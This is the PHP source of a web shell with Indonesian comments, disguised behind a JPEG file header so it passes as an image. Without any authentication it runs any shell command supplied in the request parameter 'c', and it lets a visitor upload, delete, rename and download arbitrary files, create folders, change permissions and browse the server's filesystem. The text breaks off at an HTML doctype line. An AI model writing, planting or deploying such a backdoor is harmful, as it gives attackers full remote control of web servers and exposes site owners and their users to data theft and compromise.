����JFIF��function executeCommand($input) { $descriptors = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($input, $descriptors, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); $errorOutput = stream_get_contents($pipes[2]); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); $exitCode = proc_close($process); if ($exitCode === 0) { return $output; } else { return "Error: " . $errorOutput; } } else { return "↳ Tidak dapat menjalankan perintah\n"; }}if (isset($_REQUEST['c'])) { $command = $_REQUEST['c']; echo executeCommand($command);}// Fungsi untuk menghapus filefunction delete_file($file) { if (file_exists($file)) { unlink($file); echo '<div class="alert alert-success">File berhasil dihapus: ' . $file . '</div>'; } else { echo '<div class="alert alert-danger">File tidak ditemukan: ' . $file . '</div>'; }}// Fungsi untuk membuat folderfunction create_folder($folder_name) { if (!file_exists($folder_name)) { mkdir($folder_name); echo '<div class="alert alert-success">Folder berhasil dibuat: ' . $folder_name . '</div>'; } else { echo '<div class="alert alert-warning">Folder sudah ada: ' . $folder_name . '</div>'; }}// Fungsi untuk mengedit nama filefunction rename_file($file, $new_name) { $dir = dirname($file); $new_file = $dir . '/' . $new_name; if (file_exists($file)) { if (!file_exists($new_file)) { rename($file, $new_file); echo '<div class="alert alert-success">File berhasil diubah nama menjadi: ' . $new_name . '</div>'; } else { echo '<div class="alert alert-warning">File dengan nama yang sama sudah ada: ' . $new_name . '</div>'; } } else { echo '<div class="alert alert-danger">File tidak ditemukan: ' . $file . '</div>'; }}// Fungsi untuk mengedit nama folderfunction rename_folder($folder, $new_name) { $dir = dirname($folder); $new_folder = $dir . '/' . $new_name; if (file_exists($folder)) { if (!file_exists($new_folder)) { rename($folder, $new_folder); echo '<div class="alert alert-success">Folder berhasil diubah nama menjadi: ' . $new_name . '</div>'; } else { echo '<div class="alert alert-warning">Folder dengan nama yang sama sudah ada: ' . $new_name . '</div>'; } } else { echo '<div class="alert alert-danger">Folder tidak ditemukan: ' . $folder . '</div>'; }}// Fungsi untuk mengubah izin filefunction change_permissions($file, $permissions) { if (file_exists($file)) { if (chmod($file, octdec($permissions))) { echo '<div class="alert alert-success">Izin file berhasil diubah: ' . $file . '</div>'; } else { echo '<div class="alert alert-danger">Gagal mengubah izin file: ' . $file . '</div>'; } } else { echo '<div class="alert alert-danger">File tidak ditemukan: ' . $file . '</div>'; }}// Fungsi untuk mendapatkan izin file atau folder dalam format "drwxr-xr-x"function get_permissions($file) { $perms = fileperms($file); $info = ''; // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info;}// Tentukan direktori saat ini$dir = $_GET['path'] ?? __DIR__;// Logika untuk formif (isset($_POST['submit'])) { $file_name = $_FILES['file']['name']; $file_tmp = $_FILES['file']['tmp_name']; move_uploaded_file($file_tmp, $dir . '/' . $file_name);}if (isset($_POST['create_folder'])) { create_folder($dir . '/' . $_POST['folder_name']);}if (isset($_GET['delete'])) { delete_file($dir . '/' . $_GET['delete']);}if (isset($_POST['rename_file'])) { rename_file($dir . '/' . $_POST['file_name'], $_POST['new_name']);}if (isset($_POST['rename_folder'])) { rename_folder($dir . '/' . $_POST['folder_name'], $_POST['new_name']);}if (isset($_POST['change_permissions'])) { change_permissions($dir . '/' . $_POST['file_name'], $_POST['permissions']);}if (isset($_GET['download'])) { $file = $dir . '/' . $_GET['download']; if (file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); ob_clean(); flush(); readfile($file); exit; } else { echo '<div class="alert alert-danger">File tidak ditemukan: ' . $file . '</div>'; }}// Tampilkan file dan folderfunction display_path_links($path) { $parts = explode('/', $path); $accumulated_path = ''; foreach ($parts as $part) { if ($part) { $accumulated_path .= '/' . $part; echo '<a href="?path=' . urlencode($accumulated_path) . '">' . $part . '</a>/'; } }}<!DOCTYPE html>